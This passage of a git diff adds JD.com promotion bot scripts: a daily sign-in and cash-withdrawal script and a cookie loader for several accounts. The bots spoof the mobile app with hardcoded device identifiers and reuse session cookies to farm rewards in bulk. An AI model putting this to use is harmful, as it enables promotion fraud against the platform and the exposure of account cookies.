`activityId=dz2103100001340201&actorUuid=${$.shareuuid}&pin=${encodeURIComponent($.pin)}&taskType=${taskType}&taskValue=${taskValue}`) + // console.log(config) + return new Promise(resolve => { + $.post(config, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.result) { + if (data.data) { + console.log("恭喜你,获得奶滴: " + data.data.milkCount ) + } + } else { + console.log(data.errorMessage) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) + +} + +function draw() { + + let config = taskPostUrl("/dingzhi/yili/yangniu/start", `activityId=dz2103100001340201&pin=${encodeURIComponent($.pin)}&actorUuid=${$.shareuuid}`) + // console.log(config) + return new Promise(resolve => { + $.post(config, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.result) { + if (Object.keys(data.data).length == 0) { + console.log("抽奖成功,恭喜你抽了个寂寞: ") + } else { + console.log(`恭喜你抽中 ${data.data.name}`) + $.drawresult += `恭喜你抽中 ${data.data.name} ` + } + } else { + console.log(data.errorMessage) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function taskUrl(url, body) { + const time = Date.now(); + // console.log(cookie) + return { + url: `https://lzdz-isv.isvjcloud.com${url}?${body}`, + headers: { + 'Host': 'lzdz-isv.isvjcloud.com', + 'Accept': 'application/json', + // 'X-Requested-With': 'XMLHttpRequest', + 'Referer': 'https://lzdz-isv.isvjcloud.com/dingzhi/yili/yangniu/activity/4827909?activityId=dz2103100001340201&shareUuid=b44243656a694b6f94bb30a4a5f2a45d&adsource=ziying&shareuserid4minipg=5Iufa9rY657S3OP3PLSpK07oeVP9kq2pYSH90mYt4m3fwcJlClpxrfmVYaGKuquQkdK3rLBQpEQH9V4tdrrh0w==&shopid=1000013402&lng=114.062604&lat=29.541501&sid=6e9bfee3838075a72533536815d8f3ew&un_area=4_48201_54794_0', + 'user-agent': 'jdapp;android;10.0.4;11;2393039353533623-7383235613364343;network/wifi;model/Redmi K30;addressid/138549750;aid/290955c2782e1c44;oaid/b30cf82cacfa8972;osVer/30;appBuild/88641;partner/xiaomi001;eufv/1;jdSupportDarkMode/0;Mozilla/5.0 (Linux; Android 11; Redmi K30 Build/RKQ1.200826.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045537 Mobile Safari/537.36', + 'content-type': 'application/x-www-form-urlencoded', + 'Cookie': `${cookie} IsvToken=${$.IsvToken};AUTH_C_USER=${$.pin}`, + } + } +} + + + +function taskPostUrl(url, body) { + return { + url: `https://lzdz-isv.isvjcloud.com${url}`, + body: body, + headers: { + 'Host': 'lzdz-isv.isvjcloud.com', + 'Accept': 'application/json', + 'X-Requested-With': 'XMLHttpRequest', + + + 'Referer': 'https://lzdz-isv.isvjcloud.com/dingzhi/yili/yangniu/activity/4827909?activityId=dz2103100001340201&shareUuid=b44243656a694b6f94bb30a4a5f2a45d&adsource=ziying&shareuserid4minipg=5Iufa9rY657S3OP3PLSpK07oeVP9kq2pYSH90mYt4m3fwcJlClpxrfmVYaGKuquQkdK3rLBQpEQH9V4tdrrh0w==&shopid=1000013402&lng=114.062604&lat=29.541501&sid=6e9bfee3838075a72533536815d8f3ew&un_area=4_48201_54794_0', + 'user-agent': 'jdapp;android;10.0.4;11;2393039353533623-7383235613364343;network/wifi;model/Redmi K30;addressid/138549750;aid/290955c2782e1c44;oaid/b30cf82cacfa8972;osVer/30;appBuild/88641;partner/xiaomi001;eufv/1;jdSupportDarkMode/0;Mozilla/5.0 (Linux; Android 11; Redmi K30 Build/RKQ1.200826.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045537 Mobile Safari/537.36', + 'content-type': 'application/x-www-form-urlencoded', + 'Cookie': `${cookie} IsvToken=${$.IsvToken};AUTH_C_USER=${$.pin};${$.lz_jdpin_token}`, + } + } +} + + + + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`??${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============??系统通知??=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`??${this.name}, 错误!`,t.stack):this.log("",`??${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`??${this.name}, 结束! ?? ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_zsign.js b/jd_zsign.js new file mode 100644 index 0000000..b5529c5 --- /dev/null +++ b/jd_zsign.js @@ -0,0 +1,184 @@ + +/** +芥么签到 +入口:微信-芥么小程序 +cron 11 0,9 * * * jd_zsign.js +TG:https://t.me/sheeplost +*/ +const $ = new Env('芥么签到'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let appid = "KRFM89OcZwyjnyOIPyAZxA"; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { + }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + UUID = getUUID('xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'); + for (let i = 0; i < cookiesArr.length; i++) { + UA = `jdapp;iPhone;10.0.8;14.6;${UUID};network/wifi;JDEbook/openapp.jdreader;model/iPhone9,2;addressid/2214222493;appBuild/168841;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/16E158;supportJDSHWK/1`; + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await main() + } + } +})().catch((e) => { $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') }).finally(() => { $.done(); }) + +async function main() { + $.hotFlag = false; + await apSignIn_day(); + await signPrizeDetailList(); + if ($.hotFlag) return; + if ($.tasklist) { + for (const vo of $.tasklist) { + if (vo.remainTime != null) { + $.log(`去提现金额:${vo.prizeValue}`) + await apCashWithDraw(vo.prizeType, vo.business, vo.id, vo.poolBaseId, vo.prizeGroupId, vo.prizeBaseId) + } + } + if ($.tasklist[0].remainTime === null) { + console.log("当天已提现") + } + } else { + $.log("没有获取到信息") + } +} +function apCashWithDraw(prizeType, business, id, poolBaseId, prizeGroupId, prizeBaseId) { + let body = { "linkId": appid, "businessSource": "DAY_DAY_RED_PACKET_SIGN", "base": { "prizeType": prizeType, "business": business, "id": id, "poolBaseId": poolBaseId, "prizeGroupId": prizeGroupId, "prizeBaseId": prizeBaseId } } + return new Promise(resolve => { + $.post(taskPostUrl("apCashWithDraw", body), async (err, resp, data) => { + try { + if (err) { + console.log(`${err}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data.success) { + if (data.data.status === "310") { + console.log(data.data.message) + } else { + console.log(JSON.stringify(data)); + } + } else { + console.log(JSON.stringify(data)); + } + } else { + console.log("没有返回数据") + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function signPrizeDetailList() { + let body = { "linkId": appid, "serviceName": "dayDaySignGetRedEnvelopeSignService", "business": 1, "pageSize": 20, "page": 1 } + return new Promise(resolve => { + $.post(taskPostUrl("signPrizeDetailList", body), async (err, resp, data) => { + try { + if (err) { + console.log(`${err}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + $.tasklist = data.data.prizeDrawBaseVoPageBean.items; + } else { + console.log("没有返回数据") + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function apSignIn_day() { + let body = { "linkId": appid, "serviceName": "dayDaySignGetRedEnvelopeSignService", "business": 1 } + return new Promise(resolve => { + $.post(taskPostUrl("apSignIn_day", body), async (err, resp, data) => { + try { + if (err) { + console.log(`${err}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data.success) { + if (data.data.retCode === 0) { + console.log(`签到状态:${data.errMsg}`) + } else if (data.data.retCode === 10010) { + console.log(data.data.retMessage) + $.hotFlag = true; + } else { + console.log(data.data.retMessage) + } + } else { + console.log(JSON.stringify(data)); + } + } else { + console.log("没有返回数据") + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function taskPostUrl(function_id, body) { + return { + url: `https://api.m.jd.com/?functionId=${function_id}&body=${escape(JSON.stringify(body))}&_t=${new Date().getTime()}&appid=activities_platform`, + headers: { + "Host": "api.m.jd.com", + "Content-Type": "application/x-www-form-urlencoded", + "Origin": "https://zsign.jd.com", + "Accept-Encoding": "gzip, deflate, br", + "Connection": "keep-alive", + "Accept": "application/json, text/plain, */*", + "User-Agent": UA, + "Content-Length": "206", + "Accept-Language": "zh-cn", + "Cookie": cookie, + } + } +} +function getUUID(x = "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx", t = 0) { return x.replace(/[xy]/g, function (x) { var r = 16 * Math.random() | 0, n = "x" == x ? r : 3 & r | 8; return uuid = t ? n.toString(36).toUpperCase() : n.toString(36), uuid }) } +function TotalBean() { return new Promise(async e => { const n = { url: "https://wq.jd.com/user_new/info/GetJDUserInfoUnion?sceneval=2", headers: { Host: "wq.jd.com", Accept: "*/*", Connection: "keep-alive", Cookie: cookie, "User-Agent": UA, "Accept-Language": "zh-cn", Referer: "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", "Accept-Encoding": "gzip, deflate, br" } }; $.get(n, (n, o, a) => { try { if (n) $.logErr(n); else if (a) { if (1001 === (a = JSON.parse(a))["retcode"]) return void ($.isLogin = !1); 0 === a["retcode"] && a.data && a.data.hasOwnProperty("userInfo") && ($.nickName = a.data.userInfo.baseInfo.nickname), 0 === a["retcode"] && a.data && a.data["assetInfo"] && ($.beanCount = a.data && a.data["assetInfo"]["beanNum"]) } else console.log("京东服务器返回空数据") } catch (e) { $.logErr(e) } finally { e() } }) }) } +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/jddjCookie.js b/jddjCookie.js new file mode 100644 index 0000000..5eea96d --- /dev/null +++ b/jddjCookie.js @@ -0,0 +1,36 @@ +/* +此文件为Node.js专用。其他用户请忽略 + */ +//此处填写京东账号cookie。 +let CookieJDs = [ + + '' + +] +// 判断环境变量里面是否有京东到家ck +if (process.env.JDDJ_COOKIE) { + if (process.env.JDDJ_COOKIE.indexOf('&') > -1) { + console.log(`您的cookie选择的是用&隔开\n`) + CookieJDs = process.env.JDDJ_COOKIE.split('&'); + } else if (process.env.JDDJ_COOKIE.indexOf('\n') > -1) { + console.log(`您的cookie选择的是用换行隔开\n`) + CookieJDs = process.env.JDDJ_COOKIE.split('\n'); + } else { + CookieJDs = [process.env.JDDJ_COOKIE]; + } +} +if (JSON.stringify(process.env).indexOf('GITHUB') > -1) { + console.log(`请勿使用github action运行此脚本,无论你是从你自己的私库还是其他哪里拉取的源代码,都会导致我被封号\n`); + !(async () => { + await require('./sendNotify').sendNotify('提醒', `请勿使用github action、滥用github资源会封我仓库以及账号`) + await process.exit(0); + })() +} +CookieJDs = [...new Set(CookieJDs.filter(item => item !== "" && item !== null && item !== undefined))] +console.log(`\n====================共有${CookieJDs.length}个京东账号Cookie=========\n`); +console.log(`==================脚本执行- 北京时间(UTC+8):${new Date(new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + 8 * 60 * 60 * 1000).toLocaleString()}=====================\n`) +for (let i = 0; i < CookieJDs.length; i++) { + const index = (i + 1 === 1) ? '' : (i + 1); + exports['CookieJD' + index] = CookieJDs[i].trim(); 